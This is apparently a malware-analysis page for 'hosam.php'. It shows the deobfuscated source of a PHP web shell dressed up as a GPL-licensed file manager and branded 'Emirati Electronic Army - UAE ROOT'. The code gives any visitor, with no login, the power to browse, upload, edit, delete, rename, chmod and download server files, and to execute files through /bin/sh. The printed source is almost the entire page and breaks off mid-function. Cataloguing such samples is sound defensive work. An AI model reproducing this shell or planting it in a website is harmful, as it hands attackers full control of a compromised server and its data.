PHP Malware Analysis

hosam.php

md5: 2c1c5ed49f66fb0a3c3aa100857e3016

Jump to:

Screenshot


Attributes

Encoding

Environment

Execution

Files

Input

Title

URLs


Deobfuscated PHP code

<?php

/*
 * Genius-JorDan - H0s4m - a simple Web-based file manager
 * Copyright (C) 2004  Genius-JorDan - H0s4m 
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 *
 * -------------------------------------------------------------------------
 * While using this script, do NOT navigate with your browser's back and
 * forward buttons! Always open files in a new browser tab!
 * -------------------------------------------------------------------------
 *
 * This is Version 0.9, revision 9
 * =========================================================================

/* ------------------------------------------------------------------------- */
/* Your language:
 * 'en' - English
 * 'de' - German
 * 'fr' - French
 * 'it' - Italian
 * 'nl' - Dutch
 * 'se' - Swedish
 * 'sp' - Spanish
 * 'dk' - Danish
 * 'tr' - Turkish
 * 'cs' - Czech
 * 'auto' - autoselect
 */
$lang = 'auto';
/* Charset of output:
 * possible values are described in the charset table at
 * http://www.php.net/manual/en/function.htmlentities.php
 * 'auto' - use the same charset as the words of my language are encoded
 */
$site_charset = 'auto';
/* Homedir:
 * For example: './' - the script's directory
 */
$homedir = './';
/* Size of the edit textarea
 */
$editcols = 80;
$editrows = 25;
/* -------------------------------------------
 * Optional configuration (remove # to enable)
 */
/* Permission of created directories:
 * For example: 0705 would be 'drwx---r-x'.
 */
# $dirpermission = 0705;
/* Permission of created files:
 * For example: 0604 would be '-rw----r--'.
 */
# $filepermission = 0604;
/* Filenames related to the apache web server:
 */
$htaccess = '.htaccess';
$htpasswd = '.htpasswd';
/* ------------------------------------------------------------------------- */
if (get_magic_quotes_gpc()) {
    array_walk($_GET, 'strip');
    array_walk($_POST, 'strip');
    array_walk($_REQUEST, 'strip');
}
if (array_key_exists('image', $_GET)) {
    header('Content-Type: image/gif');
    die(getimage($_GET['image']));
}
if (!function_exists('lstat')) {
    function lstat($filename)
    {
        return stat($filename);
    }
}
$delim = DIRECTORY_SEPARATOR;
if (function_exists('php_uname')) {
    $win = false;
} else {
    $win = false;
}
if (!empty($_SERVER['PATH_TRANSLATED'])) {
    $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
    $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
} elseif (function_exists('getcwd')) {
    $scriptdir = getcwd();
} else {
    $scriptdir = '.';
}
$homedir = relative2absolute($homedir, $scriptdir);
$dir = array_key_exists('dir', $_REQUEST) ? $_REQUEST['dir'] : $homedir;
if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
    $dir = relative2absolute($dir, $_POST['olddir']);
}
$directory = simplify_path(addslash($dir));
$files = array();
$action = '';
if (!empty($_POST['submit_all'])) {
    $action = $_POST['action_all'];
    for ($i = 0; $i < $_POST['num']; $i++) {
        if (array_key_exists("checked{$i}", $_POST) && $_POST["checked{$i}"] == 'true') {
            $files[] = $_POST["file{$i}"];
        }
    }
} elseif (!empty($_REQUEST['action'])) {
    $action = $_REQUEST['action'];
    $files[] = relative2absolute($_REQUEST['file'], $directory);
} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
    $files[] = $_FILES['upload'];
    $action = 'upload';
} elseif (array_key_exists('num', $_POST)) {
    for ($i = 0; $i < $_POST['num']; $i++) {
        if (array_key_exists("submit{$i}", $_POST)) {
            break;
        }
    }
    if ($i < $_POST['num']) {
        $action = $_POST["action{$i}"];
        $files[] = $_POST["file{$i}"];
    }
}
if (empty($action) && (!empty($_POST['submit_create']) || array_key_exists('focus', $_POST) && $_POST['focus'] == 'create') && !empty($_POST['create_name'])) {
    $files[] = relative2absolute($_POST['create_name'], $directory);
    switch ($_POST['create_type']) {
        case 'directory':
            $action = 'create_directory';
            break;
        case 'file':
            $action = 'create_file';
    }
}
if (sizeof($files) == 0) {
    $action = '';
} else {
    $file = reset($files);
}
if ($lang == 'auto') {
    if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
        $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
    } else {
        $lang = 'en';
    }
}
$words = getwords($lang);
if ($site_charset == 'auto') {
    $site_charset = $word_charset;
}
$cols = $win ? 4 : 7;
if (!isset($dirpermission)) {
    $dirpermission = function_exists('umask') ? 0777 & ~umask() : 0755;
}
if (!isset($filepermission)) {
    $filepermission = function_exists('umask') ? 0666 & ~umask() : 0644;
}
if (!empty($_SERVER['SCRIPT_NAME'])) {
    $self = html(basename($_SERVER['SCRIPT_NAME']));
} elseif (!empty($_SERVER['PHP_SELF'])) {
    $self = html(basename($_SERVER['PHP_SELF']));
} else {
    $self = '';
}
if (!empty($_SERVER['SERVER_SOFTWARE'])) {
    if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
        $apache = true;
    } else {
        $apache = false;
    }
} else {
    $apache = true;
}
switch ($action) {
    case 'view':
        if (is_script($file)) {
            /* highlight_file is a mess! */
            ob_start();
            highlight_file($file);
            $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \\1">', ob_get_contents());
            $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
            ob_end_clean();
            html_header();
            echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>

<hr />

<table>
<tr>
<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
<pre style="margin-top: 0"><code>';
            for ($i = 1; $i <= sizeof(file($file)); $i++) {
                echo "{$i}\n";
            }
            echo '</code></pre>
</td>
<td style="text-align: left; vertical-align: top; padding-left: 3pt">
<pre style="margin-top: 0">' . $src . '</pre>
</td>
</tr>
</table>

';
            html_footer();
        } else {
            header('Content-Type: ' . getmimetype($file));
            header('Content-Disposition: filename=' . basename($file));
            readfile($file);
        }
        break;
    case 'download':
        header('Pragma: public');
        header('Expires: 0');
        header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
        header('Content-Type: ' . getmimetype($file));
        header('Content-Disposition: attachment; filename=' . basename($file) . ';');
        header('Content-Length: ' . filesize($file));
        readfile($file);
        break;
    case 'upload':
        $dest = relative2absolute($file['name'], $directory);
        if (@file_exists($dest)) {
            listing_page(error('already_exists', $dest));
        } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
            @chmod($dest, $filepermission);
            listing_page(notice('uploaded', $file['name']));
        } else {
            listing_page(error('not_uploaded', $file['name']));
        }
        break;
    case 'create_directory':
        if (@file_exists($file)) {
            listing_page(error('already_exists', $file));
        } else {
            $old = @umask(0777 & ~$dirpermission);
            if (@mkdir($file, $dirpermission)) {
                listing_page(notice('created', $file));
            } else {
                listing_page(error('not_created', $file));
            }
            @umask($old);
        }
        break;
    case 'create_file':
        if (@file_exists($file)) {
            listing_page(error('already_exists', $file));
        } else {
            $old = @umask(0777 & ~$filepermission);
            if (@touch($file)) {
                edit($file);
            } else {
                listing_page(error('not_created', $file));
            }
            @umask($old);
        }
        break;
    case 'execute':
        chdir(dirname($file));
        $output = array();
        $retval = 0;
        exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
        $error = false;
        if (sizeof($output) == 0) {
            $output = array('<' . $words['no_output'] . '>');
        }
        if ($error) {
            listing_page(error('not_executed', $file, implode("\n", $output)));
        } else {
            listing_page(notice('executed', $file, implode("\n", $output)));
        }
        break;
    case 'delete':
        if (!empty($_POST['no'])) {
            listing_page();
        } elseif (!empty($_POST['yes'])) {
            $failure = array();
            $success = array();
            foreach ($files as $file) {
                if (del($file)) {
                    $success[] = $file;
                } else {
                    $failure[] = $file;
                }
            }
            $message = '';
            if (sizeof($failure) > 0) {
                $message = error('not_deleted', implode("\n", $failure));
            }
            if (sizeof($success) > 0) {
                $message .= notice('deleted', implode("\n", $success));
            }
            listing_page($message);
        } else {
            html_header();
            echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';
            request_dump();
            echo "\t<b>" . word('really_delete') . '</b>
	<p>
';
            foreach ($files as $file) {
                echo "\t" . html($file) . "<br />\n";
            }
            echo '	</p>
	<hr />
	<input type="submit" name="no" value="' . word('no') . '" id="red_button" />
	<input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
</td>
</tr>
</table>
</form>

';
            html_footer();
        }
        break;
    case 'rename':
        if (!empty($_POST['destination'])) {
            $dest = relative2absolute($_POST['destination'], $directory);
            if (!@file_exists($dest) && @rename($file, $dest)) {
                listing_page(notice('renamed', $file, $dest));
            } else {
                listing_page(error('not_renamed', $file, $dest));
            }
        } else {
            $name = basename($file);
            html_header();
            echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
	<input type="hidden" name="action" value="rename" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />
	<b>' . word('rename_file') . '</b>
	<p>' . html($file) . '</p>
	<b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
	<input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
	<hr />
	<input type="submit" value="' . word('rename') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
            html_footer();
        }
        break;
    case 'move':
        if (!empty($_POST['destination'])) {
            $dest = relative2absolute($_POST['destination'], $directory);
            $failure = array();
            $success = array();
            foreach ($files as $file) {
                $filename = substr($file, strlen($directory));
                $d = $dest . $filename;
                if (!@file_exists($d) && @rename($file, $d)) {
                    $success[] = $file;
                } else {
                    $failure[] = $file;
                }
            }
            $message = '';
            if (sizeof($failure) > 0) {
                $message = error('not_moved', implode("\n", $failure), $dest);
            }
            if (sizeof($success) > 0) {
                $message .= notice('moved', implode("\n", $success), $dest);
            }
            listing_page($message);
        } else {
            html_header();
            echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
';
            request_dump();
            echo "\t<b>" . word('move_files') . '</b>
	<p>
';
            foreach ($files as $file) {
                echo "\t" . html($file) . "<br />\n";
            }
            echo '	</p>
	<hr />
	' . word('destination') . ':
	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
	<input type="submit" value="' . word('move') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
            html_footer();
        }
        break;
    case 'copy':
        if (!empty($_POST['destination'])) {
            $dest = relative2absolute($_POST['destination'], $directory);
            if (@is_dir($dest)) {
                $failure = array();
                $success = array();
                foreach ($files as $file) {
                    $filename = substr($file, strlen($directory));
                    $d = addslash($dest) . $filename;
                    if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
                        $success[] = $file;
                    } else {
                        $failure[] = $file;
                    }
                }
                $message = '';
                if (sizeof($failure) > 0) {
                    $message = error('not_copied', implode("\n", $failure), $dest);
                }
                if (sizeof($success) > 0) {
                    $message .= notice('copied', implode("\n", $success), $dest);
                }
                listing_page($message);
            } else {
                if (!@file_exists($dest) && @copy($file, $dest)) {
                    listing_page(notice('copied', $file, $dest));
                } else {
                    listing_page(error('not_copied', $file, $dest));
                }
            }
        } else {
            html_header();
            echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
';
            request_dump();
            echo "\n<b>" . word('copy_files') . '</b>
	<p>
';
            foreach ($files as $file) {
                echo "\t" . html($file) . "<br />\n";
            }
            echo '	</p>
	<hr />
	' . word('destination') . ':
	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
	<input type="submit" value="' . word('copy') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
            html_footer();
        }
        break;
    case 'create_symlink':
        if (!empty($_POST['destination'])) {
            $dest = relative2absolute($_POST['destination'], $directory);
            if (substr($dest, -1, 1) == $delim) {
                $dest .= basename($file);
            }
            if (!empty($_POST['relative'])) {
                $file = absolute2relative(addslash(dirname($dest)), $file);
            }
            if (!@file_exists($dest) && @symlink($file, $dest)) {
                listing_page(notice('symlinked', $file, $dest));
            } else {
                listing_page(error('not_symlinked', $file, $dest));
            }
        } else {
            html_header();
            echo '<form action="' . $self . '" method="post">

<table class="dialog" id="symlink">
<tr>
	<td style="vertical-align: top">' . word('destination') . ': </td>
	<td>
		<b>' . html($file) . '</b><br />
		<input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
		<label for="checkbox_relative">' . word('relative') . '</label>
		<input type="hidden" name="action" value="create_symlink" />
		<input type="hidden" name="file" value="' . html($file) . '" />
		<input type="hidden" name="dir" value="' . html($directory) . '" />
	</td>
</tr>
<tr>
	<td>' . word('symlink') . ': </td>
	<td>
		<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
		<input type="submit" value="' . word('create_symlink') . '" />
	</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
            html_footer();
        }
        break;
    case 'edit':
        if (!empty($_POST['save'])) {
            $content = str_replace("\r\n", "\n", $_POST['content']);
            if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
                listing_page(notice('saved', $file));
            } else {
                listing_page(error('not_saved', $file));
            }
        } else {
            if (@is_readable($file) && @is_writable($file)) {
                edit($file);
            } else {
                listing_page(error('not_edited', $file));
            }
        }
        break;
    case 'permission':
        if (!empty($_POST['set'])) {
            $mode = 0;
            if (!empty($_POST['ur'])) {
                $mode = 256;
            }
            if (!empty($_POST['uw'])) {
                $mode |= 0200;
            }
            if (!empty($_POST['ux'])) {
                $mode |= 0100;
            }
            if (!empty($_POST['gr'])) {
                $mode |= 040;
            }
            if (!empty($_POST['gw'])) {
                $mode |= 020;
            }
            if (!empty($_POST['gx'])) {
                $mode |= 010;
            }
            if (!empty($_POST['or'])) {
                $mode |= 04;
            }
            if (!empty($_POST['ow'])) {
                $mode |= 02;
            }
            if (!empty($_POST['ox'])) {
                $mode |= 01;
            }
            if (@chmod($file, $mode)) {
                listing_page(notice('permission_set', $file, decoct($mode)));
            } else {
                listing_page(error('permission_not_set', $file, decoct($mode)));
            }
        } else {
            html_header();
            $mode = fileperms($file);
            echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">

	<p style="margin: 0">' . phrase('permission_for', $file) . '</p>

	<hr />

	<table id="permission">
	<tr>
		<td></td>
		<td style="border-right: 1px solid black">' . word('owner') . '</td>
		<td style="border-right: 1px solid black">' . word('group') . '</td>
		<td>' . word('other') . '</td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('read') . ':</td>
		<td><input type="checkbox" name="ur" value="1"';
            if ($mode & 0400) {
                echo " checked=\"checked\"";
            }
            echo " /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"gr\" value=\"1\"";
            if ($mode & 040) {
                echo " checked=\"checked\"";
            }
            echo " /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"or\" value=\"1\"";
            if ($mode & 04) {
                echo " checked=\"checked\"";
            }
            echo ' /></td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('write') . ':</td>
		<td><input type="checkbox" name="uw" value="1"';
            if ($mode & 0200) {
                echo " checked=\"checked\"";
            }
            echo " /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"gw\" value=\"1\"";
            if ($mode & 020) {
                echo " checked=\"checked\"";
            }
            echo " /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"ow\" value=\"1\"";
            if ($mode & 02) {
                echo " checked=\"checked\"";
            }
            echo ' /></td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('execute') . ':</td>
		<td><input type="checkbox" name="ux" value="1"';
            if ($mode & 0100) {
                echo " checked=\"checked\"";
            }
            echo " /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"gx\" value=\"1\"";
            if ($mode & 010) {
                echo " checked=\"checked\"";
            }
            echo " /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"ox\" value=\"1\"";
            if ($mode & 01) {
                echo " checked=\"checked\"";
            }
            echo ' /></td>
	</tr>
	</table>

	<hr />

	<input type="submit" name="set" value="' . word('set') . '" />

	<input type="hidden" name="action" value="permission" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
            html_footer();
        }
        break;
    default:
        listing_page();
}
/* ------------------------------------------------------------------------- */
function getlist($directory)
{
    global $delim, $win;
    if ($d = @opendir($directory)) {
        while (($filename = @readdir($d)) !== false) {
            $path = $directory . $filename;
            if ($stat = @lstat($path)) {
                $file = array('filename' => $filename, 'path' => $path, 'is_file' => @is_file($path), 'is_dir' => @is_dir($path), 'is_link' => @is_link($path), 'is_readable' => @is_readable($path), 'is_writable' => @is_writable($path), 'size' => $stat['size'], 'permission' => $stat['mode'], 'owner' => $stat['uid'], 'group' => $stat['gid'], 'mtime' => @filemtime($path), 'atime' => @fileatime($path), 'ctime' => @filectime($path));
                if ($file['is_dir']) {
                    $file['is_executable'] = @file_exists($path . $delim . '.');
                } else {
                    if (!$win) {
                        $file['is_executable'] = @is_executable($path);
                    } else {
                        $file['is_executable'] = true;
                    }
                }
                if ($file['is_link']) {
                    $file['target'] = @readlink($path);
                }
                if (function_exists('posix_getpwuid')) {
                    $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
                }
                if (function_exists('posix_getgrgid')) {
                    $file['group_name'] = @reset(posix_getgrgid($file['group']));
                }
                $files[] = $file;
            }
        }
        return $files;
    } else {
        return false;
    }
}
function sortlist(&$list, $key, $reverse)
{
    quicksort($list, 0, sizeof($list) - 1, $key);
    if ($reverse) {
        $list = array_reverse($list);
    }
}
function quicksort(&$array, $first, $last, $key)
{
    if ($first < $last) {
        $cmp = $array[floor(($first + $last) / 2)][$key];
        $l = $first;
        $r = $last;
        while ($l <= $r) {
            while ($array[$l][$key] < $cmp) {
                $l++;
            }
            while ($array[$r][$key] > $cmp) {
                $r--;
            }
            if ($l <= $r) {
                $tmp = $array[$l];
                $array[$l] = $array[$r];
                $array[$r] = $tmp;
                $l++;
                $r--;
            }
        }
        quicksort($array, $first, $r, $key);
        quicksort($array, $l, $last, $key);
    }
}
function permission_octal2string($mode)
{
    if (($mode & 0xc000) === 0xc000) {
        $type = 's';
    } elseif (($mode & 0xa000) === 0xa000) {
        $type = 'l';
    } elseif (($mode & 0x8000) === 0x8000) {
        $type = '-';
    } elseif (($mode & 0x6000) === 0x6000) {
        $type = 'b';
    } elseif (($mode & 0x4000) === 0x4000) {
        $type = 'd';
    } elseif (($mode & 0x2000) === 0x2000) {
        $type = 'c';
    } elseif (($mode & 0x1000) === 0x1000) {
        $type = 'p';
    } else {
        $type = '?';
    }
    $owner = $mode & 0400 ? 'r' : '-';
    $owner .= $mode & 0200 ? 'w' : '-';
    if ($mode & 0x800) {
        $owner .= $mode & 0100 ? 's' : 'S';
    } else {
        $owner .= $mode & 0100 ? 'x' : '-';
    }
    $group = $mode & 040 ? 'r' : '-';
    $group .= $mode & 020 ? 'w' : '-';
    if ($mode & 0x400) {
        $group .= $mode & 010 ? 's' : 'S';
    } else {
        $group .= $mode & 010 ? 'x' : '-';
    }
    $other = $mode & 04 ? 'r' : '-';
    $other .= $mode & 02 ? 'w' : '-';
    if ($mode & 0x200) {
        $other .= $mode & 01 ? 't' : 'T';
    } else {
        $other .= $mode & 01 ? 'x' : '-';
    }
    return $type . $owner . $group . $other;
}
function is_script($filename)
{
    return ereg('\\.php$|\\.php3$|\\.php4$|\\.php5$', $filename);
}
function getmimetype($filename)
{
    static $mimes = array('\\.jpg$|\\.jpeg$' => 'image/jpeg', '\\.gif$' => 'image/gif', '\\.png$' => 'image/png', '\\.html$|\\.html$' => 'text/html', '\\.txt$|\\.asc$' => 'text/plain', '\\.xml$|\\.xsl$' => 'application/xml', '\\.pdf$' => 'application/pdf');
    foreach ($mimes as $regex => $mime) {
        if (eregi($regex, $filename)) {
            return $mime;
        }
    }
    return "text/plain";
}
function del($file)
{
    global $delim;
    if (!@is_link($file) && !file_exists($file)) {
        return false;
    }
    if (!@is_link($file) && @is_dir($file)) {
        if ($dir = @opendir($file)) {
            $error = false;
            while (($f = readdir($dir)) !== false) {
                if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
                    $error = true;
                }
            }
            closedir($dir);
            if (!$error) {
                return @rmdir($file);
            }
            return !$error;
        } else {
            return false;
        }
    } else {
        return @unlink($file);
    }
}
function addslash($directory)
{
    global $delim;
    if (substr($directory, -1, 1) != $delim) {
        return $directory . $delim;
    } else {
        return $directory;
    }
}
function relative2absolute($string, $directory)
{
    if (path_is_relative($string)) {
        return simplify_path(addslash($directory) . $string);
    } else {
        return simplify_path($string);
    }
}
function path_is_relative($path)
{
    global $win;
    if ($win) {
        return substr($path, 1, 1) != ':';
    } else {
        return substr($path, 0, 1) != '/';
    }
}
function absolute2relative($directory, $target)
{
    global $delim;
    $path = '';
    while ($directory != $target) {
        if ($directory == substr($target, 0, strlen($directory))) {
            $path .= substr($target, strlen($directory));
            break;
        } else {
            $path .= '..' . $delim;
            $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
        }
    }
    if ($path == '') {
        $path = '.';
    }
    return $path;
}
function simplify_path($path)
{
    global $delim;
    if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
        $path = realpath($path);
        if (@is_dir($path)) {
            return addslash($path);
        } else {
            return $path;
        }
    }
    $pattern = $delim . '.' . $delim;
    if (@is_dir($path)) {
        $path = addslash($path);
    }
    while (strpos($path, $pattern) !== false) {
        $path = str_replace($pattern, $delim, $path);
    }
    $e = addslashes($delim);
    $regex = $e . '((\\.[^\\.' . $e . '][^' . $e . ']*)|(\\.\\.[^' . $e . ']+)|([^\\.][^' . $e . ']*))' . $e . '\\.\\.' . $e;
    while (ereg($regex, $path)) {
        $path = ereg_replace($regex, $delim, $path);
    }
    return $path;
}
function human_filesize($filesize)
{
    $suffices = 'kMGTPE';
    $n = 0;
    while ($filesize >= 1000) {
        $filesize /= 1024;
        $n++;
    }
    $filesize = round($filesize, 3 - strpos($filesize, '.'));
    if (strpos($filesize, '.') !== false) {
        while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
            $filesize = substr($filesize, 0, strlen($filesize) - 1);
        }
    }
    $suffix = $n == 0 ? '' : substr($suffices, $n - 1, 1);
    return $filesize . " {$suffix}B";
}
function strip(&$str)
{
    $str = stripslashes($str);
}
/* ------------------------------------------------------------------------- */
function listing_page($message = null)
{
    global $self, $directory, $sort, $reverse;
    html_header();
    $list = getlist($directory);
    if (array_key_exists('sort', $_GET)) {
        $sort = $_GET['sort'];
    } else {
        $sort = 'filename';
    }
    if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') {
        $reverse = true;
    } else {
        $reverse = false;
    }
    sortlist($list, $sort, $reverse);
    echo '<h1 style="margin-bottom: 0">Emirati Electronic Army  -  UAE ROOT</h1>

<form enctype="multipart/form-data" action="' . $self . '" method="post">

<table id="main">
';
    directory_choice();
    if (!empty($message)) {
        spacer();
        echo $message;
    }
    if (@is_writable($directory)) {
        upload_box();
        create_box();
    } else {
        spacer();
    }
    if ($list) {
        listing($list);
    } else {
        echo error('not_readable', $directory);
    }
    echo "</table>\r\n\r\n</form>\r\n\r\n";
    html_footer();
}
function listing($list)
{
    global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
    echo '<tr class="listing">
	<th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
';
    $d = 'dir=' . urlencode($directory) . '&amp;';
    if (!$reverse && $sort == 'filename') {
        $r = '&amp;reverse=true';
    } else {
        $r = '';
    }
    echo "\t<th class=\"filename\"><a href=\"{$self}?{$d}sort=filename{$r}\">" . word('filename') . "</a></th>\n";
    if (!$reverse && $sort == 'size') {
        $r = '&amp;reverse=true';
    } else {
        $r = '';
    }
    echo "\t<th class=\"size\"><a href=\"{$self}?{$d}sort=size{$r}\">" . word('size') . "</a></th>\n";
    if (!$win) {
        if (!$reverse && $sort == 'permission') {
            $r = '&amp;reverse=true';
        } else {
            $r = '';
        }
        echo "\t<th class=\"permission_header\"><a href=\"{$self}?{$d}sort=permission{$r}\">" . word('permission') . "</a></th>\n";
        if (!$reverse && $sort == 'owner') {
            $r = '&amp;reverse=true';
        } else {
            $r = '';
        }
        echo "\t<th class=\"owner\"><a href=\"{$self}?{$d}sort=owner{$r}\">" . word('owner') . "</a></th>\n";
        if (!$reverse && $sort == 'group') {
            $r = '&amp;reverse=true';
        } else {
            $r = '';
        }
        echo "\t<th class=\"group\"><a href=\"{$self}?{$d}sort=group{$r}\">" . word('group') . "</a></th>\n";
    }
    echo '	<th class="functions">' . word('functions') . '</th>
</tr>
';
    for ($i = 0; $i < sizeof($list); $i++) {
        $file = $list[$i];
        $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
        $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
        $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
        echo '<tr class="listing">
	<td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
	<td class="filename" title="' . html($timestamps) . '">';
        if ($file['is_link']) {
            echo '<img src="' . $self . '?image=link" alt="link" /> ';
            echo html($file['filename']) . ' &rarr; ';
            $real_file = relative2absolute($file['target'], $directory);
            if (@is_readable($real_file)) {
                if (@is_dir($real_file)) {
                    echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
                } else {
                    echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
                }
            } else {
                echo html($file['target']);
            }
        } elseif ($file['is_dir']) {
            echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
            if ($win || $file['is_executable']) {
                echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
            } else {
                echo html($file['filename']);
            }
            echo " ]";
        } else {
            if (substr($file['filename'], 0, 1) == '.') {
                echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
            } else {
                echo '<img src="' . $self . '?image=file" alt="file" /> ';
            }
            if ($file['is_file'] && $file['is_readable']) {
                echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
            } else {
                echo html($file['filename']);
            }
        }
        if ($file['size'] >= 1000) {
            $human = ' title="' . human_filesize($file['size']) . '"';
        } else {
            $human = '';
        }
        echo "\t<td class=\"size\"{$human}>{$file['size']} B</td>\n";
        if (!$win) {
            echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
            $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
            if ($l) {
                echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">';
            }
            echo html(permission_octal2string($file['permission']));
            if ($l) {
                echo "</a>";
            }
            echo "</td>\n";
            if (array_key_exists('owner_name', $file)) {
                echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
            } else {
                echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
            }
            if (array_key_exists('group_name', $file)) {
                echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
            } else {
                echo "\t<td class=\"group\">{$file['group']}</td>\n";
            }
        }
        echo '	<td class="functions">
		<input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
';
        $actions = array();
        if (function_exists('symlink')) {
            $actions[] = 'create_symlink';
        }
        if (@is_writable(dirname($file['path']))) {
            $actions[] = 'delete';
            $actions[] = 'rename';
            $actions[] = 'move';
        }
        if ($file['is_file'] && $file['is_readable']) {
            $actions[] = 'copy';
            $actions[] = 'download';
            if ($file['is_writable']) {
                $actions[] = 'edit';
            }
        }
        if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
            $actions[] = 'execute';
        }
        if (sizeof($actions) > 0) {
            echo '		<select class="small" name="action' . $i . '" size="1">
		<option value="">' . str_repeat('&nbsp;', 30) . '</option>
';
            foreach ($actions as $action) {
                echo "\t\t<option value=\"{$action}\">" . word($action) . "</option>\n";
            }
            echo '		</select>
		<input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" />
';
        }
        echo "\t</td>\r\n</tr>\r\n";
    }
    echo '<tr class="listing_footer">
	<td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td>
	<td colspan="' . ($cols - 1) . '">
		<input type="hidden" name="num" value="' . sizeof($list) . '" />
		<input type="hidden" name="focus" value="" />
		<input type="hidden" name="olddir" value="' . html($directory) . '" />
';
    $actions = array();
    if (@is_writable(dirname($file['path']))) {
        $actions[] = 'delete';
        $actions[] = 'move';
    }
